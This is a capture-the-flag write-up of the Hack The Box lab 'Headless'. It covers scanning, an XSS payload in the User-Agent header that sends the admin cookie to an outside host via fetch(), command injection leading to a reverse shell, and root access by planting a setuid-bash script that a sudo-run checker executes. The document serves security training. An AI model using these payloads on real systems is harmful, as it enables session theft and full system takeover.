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HTB:Headless

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By Isuru Umayanga 5 min read

Recon

Nmap

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kali@kali ~> nmap -sCV 10.10.11.8
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-26 02:27 EDT
Nmap scan report for headless.htb (10.10.11.8)
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
|_  256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Tue, 26 Mar 2024 06:25:09 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 2799
|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Under Construction</title>
|     <style>
|     body {
|     font-family: 'Arial', sans-serif;
|     background-color: #f7f7f7;
|     margin: 0;
|     padding: 0;
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     height: 100vh;
|     .container {
|     text-align: center;
|     background-color: #fff;
|     border-radius: 10px;
|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.94SVN%I=7%D=3/26%Time=66026AFD%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,BE1,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\
SF:x20Python/3\.11\.2\r\nDate:\x20Tue,\x2026\x20Mar\x202024\x2006:25:09\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x202799\r\nSet-Cookie:\x20is_admin=InVzZXIi\.uAlmXlTvm8vyihjNaPDWnvB_Z
SF:fs;\x20Path=/\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20html>\n<html\
SF:x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\
SF:x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width=device-wid
SF:th,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>Under\x20Construct
SF:ion</title>\n\x20\x20\x20\x20<style>\n\x20\x20\x20\x20\x20\x20\x20\x20b
SF:ody\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20font-family:\
SF:x20'Arial',\x20sans-serif;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20background-color:\x20#f7f7f7;\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20margin:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20padding:\x200;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20di
SF:splay:\x20flex;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20justif
SF:y-content:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:align-items:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20height:\x20100vh;\n\x20\x20\x20\x20\x20\x20\x20\x20}\n\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20\.container\x20{\n\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20text-align:\x20center;\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20background-color:\x20#fff;\n\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20border-radius:\x2010px;\n\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20box-shadow:\x200px\x200px\x2020px\x20rgba\(0,\x20
SF:0,\x200,\x200\.2\);\n\x20\x20\x20\x20\x20")%r(RTSPRequest,16C,"<!DOCTYP
SF:E\x20HTML>\n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20
SF:\x20\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x
SF:20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20resp
SF:onse</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>
SF:\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20vers
SF:ion\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\
SF:x20code\x20explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x
SF:20unsupported\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 153.97 seconds

Open Ports:

  • Port 22: SSH (OpenSSH 9.2p1 Debian 2+deb12u2)
  • Port 5000: A web service running Werkzeug/2.2.2 Python/3.11.2.

Directory Bruteforce

dir

Directories:

  • /dashboard
  • /support

Site - 5000/TCP

support

dashboard

It seems we don’t have permission to access this page yet.

Shell as User

XSS

After going through a bunch of payloads, I found the most suitable one for this.

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<img src=x onerror=fetch('http://ip:port/'+document.cookie);>

xss

Inject the XSS payload into the user agent. Entering <> in the message field will result in a hacking attempt on the site. When the administrator reviews your hacking attempt, your malicious payload is executed and you receive the admin cookie on your local server.

admin_cookie

The administrator dashboard can be accessed by replacing the admin cookie.

admin

Command injection

To get a reverse shell, use command injection on the date field.

admin_injection

payload

shell

There you go …

User Flag

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bash-5.2$ id
id
uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
bash-5.2$ pwd
pwd
/home/dvir/app
bash-5.2$ ls
ls
app.py  dashboard.html  hackattempt.html  hacking_reports  index.html  inspect_reports.py  report.sh  support.html
bash-5.2$ cd /home
cd /home
bash-5.2$ ls
ls
dvir
bash-5.2$ cd dvir
cd dvir
bash-5.2$ ls
ls
app  geckodriver.log  initdb.sh  initdb.sh.1  user.txt
bash-5.2$ cat user.txt
cat user.txt
c5eed60774ca6d843b6d8444da1b0***

Shell as Root

Enumeration

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$ sudo -l
Matching Defaults entries for dvir on headless:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User dvir may run the following commands on headless:
    (ALL) NOPASSWD: /usr/bin/syscheck

The user can execute /usr/bin/syscheck as root using sudo

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$ strings /usr/bin/syscheck
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
  exit 1
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
exit 0

ChatGPT gives us a better explanation of what’s going on here.

chatgpt

Root flag

Create a file named initdb.sh with the payload (that sets the setuid permission on /bin/bash) & run /usr/bin/syscheck with root privileges.

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echo "chmod u+s /bin/bash" > initdb.sh
chmod +x initdb.sh

bash -p will launch the Bash shell with privileged permissions.

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bash-5.2$ echo "chmod u+s /bin/bash" > initdb.sh
echo "chmod u+s /bin/bash" > initdb.sh
bash-5.2$ chmod +x initdb.sh
chmod +x initdb.sh
bash-5.2$ sudo /usr/bin/syscheck
sudo /usr/bin/syscheck
Last Kernel Modification Time: 01/02/2024 10:05
Available disk space: 1.9G
System load average:  0.09, 0.14, 0.10
Database service is not running. Starting it...
bash-5.2$ /bin/bash -p
/bin/bash -p
bash-5.2# id
id
uid=1000(dvir) gid=1000(dvir) euid=0(root) groups=1000(dvir),100(users)
bash-5.2# cd /root
cd /root
bash-5.2# ls
ls
root.txt
bash-5.2# cat root.txt
cat root.txt
52937c649ac4ca89557894efed1e8***
HTB, LINUX
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